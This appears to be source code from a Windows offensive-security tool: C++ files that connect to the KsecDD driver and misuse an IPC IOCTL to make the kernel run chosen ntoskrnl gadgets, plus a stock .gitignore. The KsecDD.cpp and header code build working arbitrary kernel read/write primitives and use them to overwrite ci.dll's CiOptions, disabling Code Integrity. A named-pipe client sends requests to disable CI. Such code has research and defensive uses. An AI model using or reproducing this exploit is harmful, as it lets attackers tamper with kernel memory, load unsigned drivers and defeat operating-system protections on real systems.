#define IOCTL_KSEC_COPY_VM CTL_CODE(FILE_DEVICE_KSEC, 21, METHOD_BUFFERED, FILE_ANY_ACCESS ) // 0x390054 KsecIoctlCopyVm 29 | #define IOCTL_KSEC_CLIENT_FREE_VM CTL_CODE(FILE_DEVICE_KSEC, 22, METHOD_BUFFERED, FILE_ANY_ACCESS ) 30 | #define IOCTL_KSEC_INSERT_PROTECTED_PROCESS_ADDRESS CTL_CODE(FILE_DEVICE_KSEC, 23, METHOD_BUFFERED, FILE_ANY_ACCESS ) // 0x39005c KsecIoctlInsertProtectedProcessAddress 31 | #define IOCTL_KSEC_REMOVE_PROTECTED_PROCESS_ADDRESS CTL_CODE(FILE_DEVICE_KSEC, 24, METHOD_BUFFERED, FILE_ANY_ACCESS ) // 0x390060 KsecIoctlRemoveProtectedProcessAddress 32 | #define IOCTL_KSEC_GET_BCRYPT_EXTENSION2 CTL_CODE(FILE_DEVICE_KSEC, 25, METHOD_BUFFERED, FILE_ANY_ACCESS ) 33 | #define IOCTL_KSEC_IPC_GET_QUEUED_FUNCTION_CALLS CTL_CODE(FILE_DEVICE_KSEC, 26, METHOD_OUT_DIRECT, FILE_ANY_ACCESS ) // 0x39006a (KsecDispatch) 34 | #define IOCTL_KSEC_IPC_SET_FUNCTION_RETURN CTL_CODE(FILE_DEVICE_KSEC, 27, METHOD_NEITHER, FILE_ANY_ACCESS ) // 0x39006f KsecIoctlHandleFunctionReturn 35 | #define IOCTL_KSEC_AUDIT_SELFTEST_SUCCESS CTL_CODE(FILE_DEVICE_KSEC, 28, METHOD_NEITHER, FILE_ANY_ACCESS ) 36 | #define IOCTL_KSEC_AUDIT_SELFTEST_FAILURE CTL_CODE(FILE_DEVICE_KSEC, 29, METHOD_BUFFERED, FILE_ANY_ACCESS ) 37 | 38 | #define KSEC_EVENT_NAME_U L"\\SECURITY\\LSA_AUTHENTICATION_INITIALIZED" 39 | 40 | // Gadget in 'ntoskrnl!ViThunkReplacePristine' 41 | // 488B4110498900B801000000C3 42 | #define PATTERN_READ_MEMORY { \ 43 | 0x48, 0x8B, 0x41, 0x10, /* MOV RAX, qword ptr [RCX + 0x10] */ \ 44 | 0x49, 0x89, 0x00, /* MOV qword ptr [R8], RAX */ \ 45 | 0xB8, 0x01, 0x00, 0x00, 0x00, /* MOV EAX, 0x1 */ \ 46 | 0xC3 /* RET */ \ 47 | } 48 | 49 | // 8911C3 50 | #define PATTERN_WRITE_MEMORY { \ 51 | 0x89, 0x11, /* MOV dword ptr [RCX], EDX */ \ 52 | 0xC3 /* RET */ \ 53 | } 54 | 55 | typedef struct _FUNCTION_RETURN 56 | { 57 | PVOID Function; // Control RAX in CALL 58 | PVOID Argument; // Control RCX in CALL 59 | } FUNCTION_RETURN, * PFUNCTION_RETURN; 60 | 61 | typedef struct _SET_FUNCTION_RETURN_REQ 62 | { 63 | PFUNCTION_RETURN FunctionReturn; 64 | DWORD Value; // Control EDX in CALL 65 | } SET_FUNCTION_RETURN_REQ, * PSET_FUNCTION_RETURN_REQ; 66 | 67 | class KsecDD 68 | { 69 | public: 70 | KsecDD(); 71 | ~KsecDD(); 72 | 73 | BOOL IsInitialized() const; 74 | BOOL IsConnected(); 75 | BOOL Connect(); 76 | BOOL Disconnect(); 77 | BOOL QueryCiOptionsValue(OUT PDWORD CiOptions); 78 | BOOL SetCiOptionsValue(IN DWORD CiOptions); 79 | 80 | private: 81 | HANDLE m_hDevice; 82 | BOOL m_bIsInitialized; 83 | ULONG_PTR m_pKernelBaseAddress; 84 | ULONG_PTR m_pCiBaseAddress; 85 | DWORD m_dwCiOptionsOffset; 86 | DWORD m_dwReadGadgetOffset; 87 | DWORD m_dwWriteGadgetOffset; 88 | ULONG_PTR m_pReadGadgetAddress; 89 | ULONG_PTR m_pWriteGadgetAddress; 90 | 91 | BOOL CheckIsInitialized(); 92 | BOOL SetLsaInitializedEvent(IN LPCWSTR Event); 93 | BOOL OpenDevice(IN LPCWSTR Name, OUT PHANDLE Device); 94 | BOOL DeviceIoControl(IN HANDLE Device, IN DWORD IoControlCode, IN OPTIONAL LPVOID InBuffer, IN DWORD InBufferSize, OUT OPTIONAL LPVOID OutBuffer, IN DWORD OutBufferSize); 95 | 96 | BOOL IoctlConnectLsa(OUT OPTIONAL PDWORD SystemPid); 97 | BOOL IoctlIpcSetFunctionReturn(IN PSET_FUNCTION_RETURN_REQ Request); 98 | 99 | BOOL ReadKernelMemory32(IN ULONG_PTR Address, OUT PUINT32 Value); 100 | BOOL ReadKernelMemory64(IN ULONG_PTR Address, OUT PUINT64 Value); 101 | BOOL WriteKernelMemory32(IN ULONG_PTR Address, IN UINT32 Value); 102 | }; -------------------------------------------------------------------------------- /Common/IpcClient.cpp: -------------------------------------------------------------------------------- 1 | #include "IpcClient.h" 2 | #include "common.h" 3 | #include "ipc.h" 4 | 5 | IpcClient::IpcClient() 6 | { 7 | m_hPipeHandle = INVALID_HANDLE_VALUE; 8 | m_pbIoBuffer = NULL; 9 | 10 | if (!(m_pbIoBuffer = (LPBYTE)Common::Alloc(PAGE_SIZE))) goto exit; 11 | 12 | exit: 13 | return; 14 | } 15 | 16 | IpcClient::~IpcClient() 17 | { 18 | if (m_pbIoBuffer) Common::Free(m_pbIoBuffer); 19 | if (m_hPipeHandle && m_hPipeHandle != INVALID_HANDLE_VALUE) CloseHandle(m_hPipeHandle); 20 | } 21 | 22 | BOOL IpcClient::Connect() 23 | { 24 | return this->ConnectToNamedPipe(&this->m_hPipeHandle); 25 | } 26 | 27 | BOOL IpcClient::Disconnect() 28 | { 29 | if (!CloseHandle(this->m_hPipeHandle)) 30 | { 31 | PRINT_ERROR_WIN32(L"CloseHandle"); 32 | return FALSE; 33 | } 34 | 35 | this->m_hPipeHandle = INVALID_HANDLE_VALUE; 36 | 37 | return TRUE; 38 | } 39 | 40 | BOOL IpcClient::IsConnected() 41 | { 42 | return this->m_hPipeHandle && this->m_hPipeHandle != INVALID_HANDLE_VALUE; 43 | } 44 | 45 | BOOL IpcClient::SendPingRequest() 46 | { 47 | BOOL bResult = FALSE; 48 | PIPC_REQUEST_PING req = (PIPC_REQUEST_PING)this->m_pbIoBuffer; 49 | PIPC_RESPONSE_PING resp = (PIPC_RESPONSE_PING)this->m_pbIoBuffer; 50 | DWORD dwResponseSize; 51 | 52 | req->Header.Type = static_cast(MessageType::Ping); 53 | swprintf_s(req->Message, L"%s", L"PING"); 54 | 55 | if (!this->SendAndReceive(this->m_pbIoBuffer, sizeof(*req), &dwResponseSize)) goto exit; 56 | 57 | if (!resp->Header.Result || _wcsicmp(resp->Message, L"PONG") != 0) 58 | { 59 | PRINT_ERROR(L"Ping request failed.\n"); 60 | goto exit; 61 | } 62 | 63 | bResult = TRUE; 64 | 65 | exit: 66 | return bResult; 67 | } 68 | 69 | BOOL IpcClient::SendStopServerRequest() 70 | { 71 | BOOL bResult = FALSE; 72 | PIPC_REQUEST_STOP_SERVER req = (PIPC_REQUEST_STOP_SERVER)this->m_pbIoBuffer; 73 | PIPC_RESPONSE_STOP_SERVER resp = (PIPC_RESPONSE_STOP_SERVER)this->m_pbIoBuffer; 74 | DWORD dwResponseSize; 75 | 76 | req->Header.Type = static_cast(MessageType::StopServer); 77 | 78 | if (!this->SendAndReceive(this->m_pbIoBuffer, sizeof(*req), &dwResponseSize)) goto exit; 79 | 80 | if (dwResponseSize != sizeof(*resp)) 81 | { 82 | PRINT_WARNING(L"Response message size mismatch (%d, should be %d).\n", dwResponseSize, (DWORD)sizeof(*resp)); 83 | } 84 | 85 | if (!resp->Header.Result) 86 | { 87 | PRINT_ERROR(L"Stop Server request failed.\n"); 88 | goto exit; 89 | } 90 | 91 | bResult = TRUE; 92 | 93 | exit: 94 | return bResult; 95 | } 96 | 97 | BOOL IpcClient::SendQueryCiOptionsRequest(OUT PDWORD CiOptions) 98 | { 99 | BOOL bResult = FALSE; 100 | PIPC_REQUEST_QUERY_CI_OPTIONS req = (PIPC_REQUEST_QUERY_CI_OPTIONS)this->m_pbIoBuffer; 101 | PIPC_RESPONSE_QUERY_CI_OPTIONS resp = (PIPC_RESPONSE_QUERY_CI_OPTIONS)this->m_pbIoBuffer; 102 | DWORD dwResponseSize; 103 | 104 | req->Header.Type = static_cast(MessageType::QueryCiOptions); 105 | 106 | if (!this->SendAndReceive(this->m_pbIoBuffer, sizeof(*req), &dwResponseSize)) goto exit; 107 | 108 | if (dwResponseSize != sizeof(*resp)) 109 | { 110 | PRINT_WARNING(L"Response message size mismatch (%d, should be %d).\n", dwResponseSize, (DWORD)sizeof(*resp)); 111 | } 112 | 113 | if (!resp->Header.Result) 114 | { 115 | PRINT_ERROR(L"Query Ci Options request failed.\n"); 116 | goto exit; 117 | } 118 | 119 | *CiOptions = resp->CiOptions; 120 | bResult = TRUE; 121 | 122 | exit: 123 | return bResult; 124 | } 125 | 126 | BOOL IpcClient::SendDisableCiRequest() 127 | { 128 | BOOL bResult = FALSE; 129 | PIPC_REQUEST_DISABLE_CI req = (PIPC_REQUEST_DISABLE_CI)this->m_pbIoBuffer; 130 | PIPC_RESPONSE_DISABLE_CI resp = (PIPC_RESPONSE_DISABLE_CI)this->m_pbIoBuffer; 131 | DWORD dwResponseSize; 132 | 133 | req->Header.Type = static_cast(MessageType::DisableCi); 134 | 135 | if (!this->SendAndReceive(this->m_pbIoBuffer, sizeof(*req), &dwResponseSize)) goto exit; 136 | 137 | if (dwResponseSize != sizeof(*resp)) 138 | { 139 | PRINT_WARNING(L"Response message size mismatch (%d, should be %d).\n", dwResponseSize, (DWORD)sizeof(*resp)); 140 | } 141 | 142 | if (!resp->Header.Result) 143 | { 144 | PRINT_ERROR(L"Disable CI request failed.\n"); 145 | goto exit; 146 | } 147 | 148 | bResult = TRUE; 149 | 150 | exit: 151 | return bResult; 152 | } 153 | 154 | BOOL IpcClient::SendSetCiOptionsRequest(IN DWORD CiOptions) 155 | { 156 | BOOL bResult = FALSE; 157 | PIPC_REQUEST_SET_CI_OPTIONS req = (PIPC_REQUEST_SET_CI_OPTIONS)this->m_pbIoBuffer; 158 | PIPC_RESPONSE_SET_CI_OPTIONS resp = (PIPC_RESPONSE_SET_CI_OPTIONS)this->m_pbIoBuffer; 159 | DWORD dwResponseSize; 160 | 161 | req->Header.Type = static_cast(MessageType::SetCiOptions); 162 | req->CiOptions = CiOptions; 163 | 164 | if (!this->SendAndReceive(m_pbIoBuffer, sizeof(*req), &dwResponseSize)) goto exit; 165 | 166 | if (dwResponseSize != sizeof(*resp)) 167 | { 168 | PRINT_WARNING(L"Response message size mismatch (%d, should be %d).\n", dwResponseSize, (DWORD)sizeof(*resp)); 169 | } 170 | 171 | if (!resp->Header.Result) 172 | { 173 | PRINT_ERROR(L"Set CI options request failed.\n"); 174 | goto exit; 175 | } 176 | 177 | bResult = TRUE; 178 | 179 | exit: 180 | return bResult; 181 | } 182 | 183 | BOOL IpcClient::ConnectToNamedPipe(OUT PHANDLE PipeHandle) 184 | { 185 | BOOL bResult = FALSE; 186 | LPWSTR pwszPipeName = NULL; 187 | HANDLE hPipe = NULL; 188 | 189 | *PipeHandle = INVALID_HANDLE_VALUE; 190 | 191 | if (!(pwszPipeName = (LPWSTR)Common::Alloc(MAX_PATH * sizeof(WCHAR)))) goto exit; 192 | 193 | swprintf_s(pwszPipeName, MAX_PATH, L"\\\\.\\pipe\\%ws", IPC_NAMED_PIPE_NAME); 194 | 195 | hPipe = CreateFileW(pwszPipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); 196 | if (!hPipe || hPipe == INVALID_HANDLE_VALUE) 197 | { 198 | PRINT_ERROR_WIN32(L"CreateFileW"); 199 | goto exit; 200 | } 201 | 202 | *PipeHandle = hPipe; 203 | bResult = TRUE; 204 | 205 | exit: 206 | if (pwszPipeName) Common::Free(pwszPipeName); 207 | 208 | return bResult; 209 | } 210 | 211 | BOOL IpcClient::SendAndReceive(IN OUT LPBYTE IoBuffer, IN DWORD RequestSize, OUT PDWORD ResponseSize) 212 | { 213 | BOOL bResult = FALSE; 214 | DWORD dwBytesWritten, dwBytesRead; 215 | 216 | if (!WriteFile(this->m_hPipeHandle, IoBuffer, RequestSize, &dwBytesWritten, NULL)) 217 | { 218 | PRINT_ERROR_WIN32(L"WriteFile"); 219 | goto exit; 220 | } 221 | 222 | if (!ReadFile(this->m_hPipeHandle, IoBuffer, PAGE_SIZE, &dwBytesRead, NULL)) 223 | { 224 | PRINT_ERROR_WIN32(L"ReadFile"); 225 | goto exit; 226 | } 227 | 228 | *ResponseSize = dwBytesRead; 229 | bResult = TRUE; 230 | 231 | exit: 232 | return bResult; 233 | } -------------------------------------------------------------------------------- /Common/KsecDD.cpp: -------------------------------------------------------------------------------- 1 | #include "KsecDD.h" 2 | #include "nt.h" 3 | #include "common.h" 4 | 5 | KsecDD::KsecDD() 6 | { 7 | BYTE readGadgetPattern[] = PATTERN_READ_MEMORY; 8 | BYTE writeGadgetPattern[] = PATTERN_WRITE_MEMORY; 9 | 10 | m_hDevice = NULL; 11 | m_bIsInitialized = FALSE; 12 | m_pKernelBaseAddress = 0; 13 | m_pCiBaseAddress = 0; 14 | m_dwCiOptionsOffset = 0; 15 | m_dwReadGadgetOffset = 0; 16 | m_dwWriteGadgetOffset = 0; 17 | m_pReadGadgetAddress = 0; 18 | m_pWriteGadgetAddress = 0; 19 | 20 | if (!Common::FindKernelModuleBaseAddress("ntoskrnl.exe", &m_pKernelBaseAddress)) goto exit; 21 | if (!Common::FindKernelModuleBaseAddress("ci.dll", &m_pCiBaseAddress)) goto exit; 22 | if (!Common::FindCiOptionsOffset(&m_dwCiOptionsOffset)) goto exit; 23 | if (!Common::FindGadgetOffset(L"ntoskrnl.exe", readGadgetPattern, sizeof(readGadgetPattern), &m_dwReadGadgetOffset)) goto exit; 24 | if (!Common::FindGadgetOffset(L"ntoskrnl.exe", writeGadgetPattern, sizeof(writeGadgetPattern), &m_dwWriteGadgetOffset)) goto exit; 25 | 26 | m_pReadGadgetAddress = m_pKernelBaseAddress + m_dwReadGadgetOffset; 27 | m_pWriteGadgetAddress = m_pKernelBaseAddress + m_dwWriteGadgetOffset; 28 | m_bIsInitialized = TRUE; 29 | 30 | exit: 31 | return; 32 | } 33 | 34 | KsecDD::~KsecDD() 35 | { 36 | if (m_hDevice) NtClose(m_hDevice); 37 | } 38 | 39 | BOOL KsecDD::IsInitialized() const 40 | { 41 | return m_bIsInitialized; 42 | } 43 | 44 | BOOL KsecDD::IsConnected() 45 | { 46 | return this->m_hDevice != NULL; 47 | } 48 | 49 | BOOL KsecDD::Connect() 50 | { 51 | BOOL bResult = FALSE; 52 | 53 | if (!this->SetLsaInitializedEvent(KSEC_EVENT_NAME_U)) goto exit; 54 | if (!this->OpenDevice(DD_KSEC_DEVICE_NAME_U, &this->m_hDevice)) goto exit; 55 | if (!this->IoctlConnectLsa(NULL)) goto exit; 56 | 57 | bResult = TRUE; 58 | 59 | exit: 60 | return bResult; 61 | } 62 | 63 | BOOL KsecDD::Disconnect() 64 | { 65 | NTSTATUS status; 66 | 67 | if (!this->m_hDevice) 68 | return TRUE; 69 | 70 | status = NtClose(this->m_hDevice); 71 | if (!NT_SUCCESS(status)) 72 | { 73 | PRINT_ERROR_NT(L"NtClose", status); 74 | return FALSE; 75 | } 76 | 77 | this->m_hDevice = NULL; 78 | 79 | return TRUE; 80 | } 81 | 82 | BOOL KsecDD::QueryCiOptionsValue(OUT PDWORD CiOptions) 83 | { 84 | return this->ReadKernelMemory32(this->m_pCiBaseAddress + this->m_dwCiOptionsOffset, (PUINT32)CiOptions); 85 | } 86 | 87 | BOOL KsecDD::SetCiOptionsValue(IN DWORD CiOptions) 88 | { 89 | return this->WriteKernelMemory32(this->m_pCiBaseAddress + this->m_dwCiOptionsOffset, CiOptions); 90 | } 91 | 92 | BOOL KsecDD::CheckIsInitialized() 93 | { 94 | if (!m_bIsInitialized) 95 | { 96 | PRINT_ERROR(L"Client is not initialized.\n"); 97 | return FALSE; 98 | } 99 | 100 | return TRUE; 101 | } 102 | 103 | BOOL KsecDD::SetLsaInitializedEvent(IN LPCWSTR Event) 104 | { 105 | BOOL bResult = FALSE; 106 | NTSTATUS status; 107 | HANDLE hEvent = NULL; 108 | UNICODE_STRING usEventPath = { 0 }; 109 | OBJECT_ATTRIBUTES oa = { 0 }; 110 | 111 | RtlInitUnicodeString(&usEventPath, Event); 112 | InitializeObjectAttributes(&oa, &usEventPath, OBJ_CASE_INSENSITIVE, NULL, NULL); 113 | 114 | status = NtOpenEvent(&hEvent, EVENT_MODIFY_STATE, &oa); 115 | if (!NT_SUCCESS(status)) 116 | { 117 | PRINT_ERROR_NT(L"NtOpenEvent", status); 118 | goto exit; 119 | } 120 | 121 | status = NtSetEvent(hEvent, NULL); 122 | if (!NT_SUCCESS(status)) 123 | { 124 | PRINT_ERROR_NT(L"NtSetEvent", status); 125 | goto exit; 126 | } 127 | 128 | bResult = TRUE; 129 | 130 | exit: 131 | if (hEvent) NtClose(hEvent); 132 | 133 | return bResult; 134 | } 135 | 136 | BOOL KsecDD::OpenDevice(IN LPCWSTR Name, OUT PHANDLE Device) 137 | { 138 | BOOL bResult = FALSE; 139 | NTSTATUS status; 140 | UNICODE_STRING usDevicePath = { 0 }; 141 | OBJECT_ATTRIBUTES oa = { 0 }; 142 | IO_STATUS_BLOCK iosb = { 0 }; 143 | HANDLE hDevice = NULL; 144 | FILE_IO_COMPLETION_NOTIFICATION_INFORMATION FileInformation = { 0 }; 145 | 146 | *Device = NULL; 147 | 148 | RtlInitUnicodeString(&usDevicePath, Name); 149 | InitializeObjectAttributes(&oa, &usDevicePath, OBJ_CASE_INSENSITIVE, NULL, NULL); 150 | 151 | status = NtOpenFile(&hDevice, GENERIC_READ | GENERIC_WRITE, &oa, &iosb, FILE_SHARE_READ | FILE_SHARE_WRITE, 0); 152 | if (!NT_SUCCESS(status)) 153 | { 154 | PRINT_ERROR_NT(L"NtOpenFile", status); 155 | goto exit; 156 | } 157 | 158 | // As implemented in lsass!LsapOpenKsec 159 | FileInformation.Flags = FILE_SKIP_SET_EVENT_ON_HANDLE | FILE_SKIP_SET_USER_EVENT_ON_FAST_IO; 160 | 161 | status = NtSetInformationFile(hDevice, &iosb, &FileInformation, sizeof(FileInformation), (FILE_INFORMATION_CLASS)FileIoCompletionNotificationInformation); 162 | if (!NT_SUCCESS(status)) 163 | { 164 | PRINT_ERROR_NT(L"NtSetInformationFile", status); 165 | goto exit; 166 | } 167 | 168 | *Device = hDevice; 169 | bResult = TRUE; 170 | 171 | exit: 172 | if (!bResult && hDevice) NtClose(hDevice); 173 | 174 | return bResult; 175 | } 176 | 177 | BOOL KsecDD::DeviceIoControl(IN HANDLE Device, IN DWORD IoControlCode, IN OPTIONAL LPVOID InBuffer, IN DWORD InBufferSize, OUT OPTIONAL LPVOID OutBuffer, IN DWORD OutBufferSize) 178 | { 179 | NTSTATUS status; 180 | IO_STATUS_BLOCK iosb = { 0 }; 181 | 182 | status = NtDeviceIoControlFile(Device, NULL, NULL, NULL, &iosb, IoControlCode, InBuffer, InBufferSize, OutBuffer, OutBufferSize); 183 | if (!NT_SUCCESS(status)) 184 | { 185 | PRINT_ERROR_NT(L"NtDeviceIoControlFile", status); 186 | return FALSE; 187 | } 188 | 189 | return TRUE; 190 | } 191 | 192 | BOOL KsecDD::IoctlConnectLsa(OUT OPTIONAL PDWORD SystemPid) 193 | { 194 | DWORD dwLsapSystemProcessId = 0; 195 | 196 | if (!this->DeviceIoControl(this->m_hDevice, IOCTL_KSEC_CONNECT_LSA, NULL, 0, &dwLsapSystemProcessId, sizeof(dwLsapSystemProcessId))) 197 | { 198 | return FALSE; 199 | } 200 | 201 | if (SystemPid) *SystemPid = dwLsapSystemProcessId; 202 | 203 | return TRUE; 204 | } 205 | 206 | BOOL KsecDD::IoctlIpcSetFunctionReturn(IN PSET_FUNCTION_RETURN_REQ Request) 207 | { 208 | if (!this->DeviceIoControl(this->m_hDevice, IOCTL_KSEC_IPC_SET_FUNCTION_RETURN, Request, sizeof(*Request), NULL, 0)) 209 | return FALSE; 210 | 211 | return TRUE; 212 | } 213 | 214 | BOOL KsecDD::ReadKernelMemory32(IN ULONG_PTR Address, OUT PUINT32 Value) 215 | { 216 | UINT64 val = 0; 217 | 218 | if (!this->ReadKernelMemory64(Address, &val)) 219 | return FALSE; 220 | 221 | *Value = val & 0xffffffff; 222 | 223 | return TRUE; 224 | } 225 | 226 | BOOL KsecDD::ReadKernelMemory64(IN ULONG_PTR Address, OUT PUINT64 Value) 227 | { 228 | FUNCTION_RETURN fr = { 0 }; 229 | SET_FUNCTION_RETURN_REQ req = { 0 }; 230 | 231 | if (!this->CheckIsInitialized()) 232 | return FALSE; 233 | 234 | fr.Function = (PVOID)this->m_pReadGadgetAddress; 235 | fr.Argument = (PVOID)(Address - 0x10); // Account for 'RCX+0x10' in the gadget 236 | req.FunctionReturn = &fr; 237 | req.Value = 0; // EDX value not used here 238 | 239 | if (!this->IoctlIpcSetFunctionReturn(&req)) 240 | return FALSE; 241 | 242 | *Value = (UINT64)req.FunctionReturn; 243 | 244 | return TRUE; 245 | } 246 | 247 | BOOL KsecDD::WriteKernelMemory32(IN ULONG_PTR Address, IN UINT32 Value) 248 | { 249 | FUNCTION_RETURN fr = { 0 }; 250 | SET_FUNCTION_RETURN_REQ req = { 0 }; 251 | 252 | if (!this->CheckIsInitialized()) 253 | return FALSE; 254 | 255 | fr.Function = (PVOID)this->m_pWriteGadgetAddress; 256 | fr.Argument = (PVOID)Address; 257 | req.FunctionReturn = &fr; 258 | req.Value = Value; 259 | 260 | if (!this->IoctlIpcSetFunctionReturn(&req)) 261 | return FALSE; 262 | 263 | return TRUE; 264 | } -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.rsuser 8 | *.suo 9 | *.user 10 | *.userosscache 11 | *.sln.docstates 12 | 13 | # User-specific files (MonoDevelop/Xamarin Studio) 14 | *.userprefs 15 | 16 | # Mono auto generated files 17 | mono_crash.* 18 | 19 | # Build results 20 | [Dd]ebug/ 21 | [Dd]ebugPublic/ 22 | [Rr]elease/ 23 | [Rr]eleases/ 24 | x64/ 25 | x86/ 26 | [Ww][Ii][Nn]32/ 27 | [Aa][Rr][Mm]/ 28 | [Aa][Rr][Mm]64/ 29 | bld/ 30 | [Bb]in/ 31 | [Oo]bj/ 32 | [Oo]ut/ 33 | [Ll]og/ 34 | [Ll]ogs/ 35 | 36 | # Visual Studio 2015/2017 cache/options directory 37 | .vs/ 38 | # Uncomment if you have tasks that create the project's static files in wwwroot 39 | #wwwroot/ 40 | 41 | # Visual Studio 2017 auto generated files 42 | Generated\ Files/ 43 | 44 | # MSTest test Results 45 | [Tt]est[Rr]esult*/ 46 | [Bb]uild[Ll]og.* 47 | 48 | # NUnit 49 | *.VisualState.xml 50 | TestResult.xml 51 | nunit-*.xml 52 | 53 | # Build Results of an ATL Project 54 | [Dd]ebugPS/ 55 | [Rr]eleasePS/ 56 | dlldata.c 57 | 58 | # Benchmark Results 59 | BenchmarkDotNet.Artifacts/ 60 | 61 | # .NET Core 62 | project.lock.json 63 | project.fragment.lock.json 64 | artifacts/ 65 | 66 | # ASP.NET Scaffolding 67 | ScaffoldingReadMe.txt 68 | 69 | # StyleCop 70 | StyleCopReport.xml 71 | 72 | # Files built by Visual Studio 73 | *_i.c 74 | *_p.c 75 | *_h.h 76 | *.ilk 77 | *.meta 78 | *.obj 79 | *.iobj 80 | *.pch 81 | *.pdb 82 | *.ipdb 83 | *.pgc 84 | *.pgd 85 | *.rsp 86 | *.sbr 87 | *.tlb 88 | *.tli 89 | *.tlh 90 | *.tmp 91 | *.tmp_proj 92 | *_wpftmp.csproj 93 | *.log 94 | *.vspscc 95 | *.vssscc 96 | .builds 97 | *.pidb 98 | *.svclog 99 | *.scc 100 | 101 | # Chutzpah Test files 102 | _Chutzpah* 103 | 104 | # Visual C++ cache files 105 | ipch/ 106 | *.aps 107 | *.ncb 108 | *.opendb 109 | *.opensdf 110 | *.sdf 111 | *.cachefile 112 | *.VC.db 113 | *.VC.VC.opendb 114 | 115 | # Visual Studio profiler 116 | *.psess 117 | *.vsp 118 | *.vspx 119 | *.sap 120 | 121 | # Visual Studio Trace Files 122 | *.e2e 123 | 124 | # TFS 2012 Local Workspace 125 | $tf/ 126 | 127 | # Guidance Automation Toolkit 128 | *.gpState 129 | 130 | # ReSharper is a .NET coding add-in 131 | _ReSharper*/ 132 | *.[Rr]e[Ss]harper 133 | *.DotSettings.user 134 | 135 | # TeamCity is a build add-in 136 | _TeamCity* 137 | 138 | # DotCover is a Code Coverage Tool 139 | *.dotCover 140 | 141 | # AxoCover is a Code Coverage Tool 142 | .axoCover/* 143 | !.axoCover/settings.json 144 | 145 | # Coverlet is a free, cross platform Code Coverage Tool 146 | coverage*.json 147 | coverage*.xml 148 | coverage*.info 149 | 150 | # Visual Studio code coverage results 151 | *.coverage 152 | *.coveragexml 153 | 154 | # NCrunch 155 | _NCrunch_* 156 | .*crunch*.local.xml 157 | nCrunchTemp_* 158 | 159 | # MightyMoose 160 | *.mm.* 161 | AutoTest.Net/ 162 | 163 | # Web workbench (sass) 164 | .sass-cache/ 165 | 166 | # Installshield output folder 167 | [Ee]xpress/ 168 | 169 | # DocProject is a documentation generator add-in 170 | DocProject/buildhelp/ 171 | DocProject/Help/*.HxT 172 | DocProject/Help/*.HxC 173 | DocProject/Help/*.hhc 174 | DocProject/Help/*.hhk 175 | DocProject/Help/*.hhp 176 | DocProject/Help/Html2 177 | DocProject/Help/html 178 | 179 | # Click-Once directory 180 | publish/ 181 | 182 | # Publish Web Output 183 | *.[Pp]ublish.xml 184 | *.azurePubxml 185 | # Note: Comment the next line if you want to checkin your web deploy settings, 186 | # but database connection strings (with potential passwords) will be unencrypted 187 | *.pubxml 188 | *.publishproj 189 | 190 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 191 | # checkin your Azure Web App publish settings, but sensitive information contained 192 | # in these scripts will be unencrypted 193 | PublishScripts/ 194 | 195 | # NuGet Packages 196 | *.nupkg 197 | # NuGet Symbol Packages 198 | *.snupkg 199 | # The packages folder can be ignored because of Package Restore 200 | **/[Pp]ackages/* 201 | # except build/, which is used as an MSBuild target. 202 | !**/[Pp]ackages/build/ 203 | # Uncomment if necessary however generally it will be regenerated when needed 204 | #!**/[Pp]ackages/repositories.config 205 | # NuGet v3's project.json files produces more ignorable files 206 | *.nuget.props 207 | *.nuget.targets 208 | 209 | # Microsoft Azure Build Output 210 | csx/ 211 | *.build.csdef 212 | 213 | # Microsoft Azure Emulator 214 | ecf/ 215 | rcf/ 216 | 217 | # Windows Store app package directories and files 218 | AppPackages/ 219 | BundleArtifacts/ 220 | Package.StoreAssociation.xml 221 | _pkginfo.txt 222 | *.appx 223 | *.appxbundle 224 | *.appxupload 225 | 226 | # Visual Studio cache files 227 | # files ending in .cache can be ignored 228 | *.[Cc]ache 229 | # but keep track of directories ending in .cache 230 | !?*.[Cc]ache/ 231 | 232 | # Others 233 | ClientBin/ 234 | ~$* 235 | *~ 236 | *.dbmdl 237 | *.dbproj.schemaview 238 | *.jfm 239 | *.pfx 240 | *.publishsettings 241 | orleans.codegen.cs 242 | 243 | # Including strong name files can present a security risk 244 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 245 | #*.snk 246 | 247 | # Since there are multiple workflows, uncomment next line to ignore bower_components 248 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 249 | #bower_components/ 250 | 251 | # RIA/Silverlight projects 252 | Generated_Code/ 253 | 254 | # Backup & report files from converting an old project file 255 | # to a newer Visual Studio version. Backup files are not needed, 256 | # because we have git ;-) 257 | _UpgradeReport_Files/ 258 | Backup*/ 259 | UpgradeLog*.XML 260 | UpgradeLog*.htm 261 | ServiceFabricBackup/ 262 | *.rptproj.bak 263 | 264 | # SQL Server files 265 | *.mdf 266 | *.ldf 267 | *.ndf 268 | 269 | # Business Intelligence projects 270 | *.rdl.data 271 | *.bim.layout 272 | *.bim_*.settings 273 | *.rptproj.rsuser 274 | *- [Bb]ackup.rdl 275 | *- [Bb]ackup ([0-9]).rdl 276 | *- [Bb]ackup ([0-9][0-9]).rdl 277 | 278 | # Microsoft Fakes 279 | FakesAssemblies/ 280 | 281 | # GhostDoc plugin setting file 282 | *.GhostDoc.xml 283 | 284 | # Node.js Tools for Visual Studio 285 | .ntvs_analysis.dat 286 | node_modules/ 287 | 288 | # Visual Studio 6 build log 289 | *.plg 290 | 291 | # Visual Studio 6 workspace options file 292 | *.opt 293 | 294 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 295 | *.vbw 296 | 297 | # Visual Studio LightSwitch build output 298 | **/*.HTMLClient/GeneratedArtifacts 299 | **/*.DesktopClient/GeneratedArtifacts 300 | **/*.DesktopClient/ModelManifest.xml 301 | **/*.Server/GeneratedArtifacts 302 | **/*.Server/ModelManifest.xml 303 | _Pvt_Extensions 304 | 305 | # Paket dependency manager 306 | .paket/paket.exe 307 | paket-files/ 308 | 309 | # FAKE - F# Make 310 | .fake/ 311 | 312 | # CodeRush personal settings 313 | .cr/personal 314 | 315 | # Python Tools for Visual Studio (PTVS) 316 | __pycache__/ 317 | *.pyc 318 | 319 | # Cake - Uncomment if you are using it 320 | # tools/** 321 | # !tools/packages.config 322 | 323 | # Tabs Studio 324 | *.tss 325 | 326 | # Telerik's JustMock configuration file 327 | *.jmconfig 328 | 329 | # BizTalk build 